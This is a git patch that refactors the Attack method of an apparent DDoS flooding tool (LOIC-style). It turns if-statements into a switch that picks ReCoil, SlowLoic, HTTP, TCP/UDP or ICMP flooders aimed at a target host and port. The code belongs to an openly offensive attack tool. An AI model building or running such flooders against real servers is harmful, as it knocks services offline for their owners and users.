From 46266b24791061031921f72415be04cbc2193315 Mon Sep 17 00:00:00 2001 From: NewEraCracker Date: Sat, 1 Dec 2018 23:19:14 +0000 Subject: [PATCH] Optimization --- src/frmMain.cs | 35 +++++++++++++++++------------------ 1 file changed, 17 insertions(+), 18 deletions(-) diff --git a/src/frmMain.cs b/src/frmMain.cs index a497784..11eaf45 100644 --- a/src/frmMain.cs +++ b/src/frmMain.cs @@ -182,25 +182,24 @@ private void Attack(bool toggle, bool on, bool silent = false) { IFlooder ts = null; - if (protocol == Protocol.ReCoil) + switch (protocol) { - ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked); - } - if (protocol == Protocol.slowLOIC) - { - ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked); - } - if (protocol == Protocol.HTTP) - { - ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked); - } - if (protocol == Protocol.TCP || protocol == Protocol.UDP) - { - ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked); - } - if (protocol == Protocol.ICMP) - { - ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread); + case Protocol.ReCoil: + ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked); + break; + case Protocol.slowLOIC: + ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked); + break; + case Protocol.HTTP: + ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked); + break; + case Protocol.TCP: + case Protocol.UDP: + ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked); + break; + case Protocol.ICMP: + ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread); + break; } if(ts != null)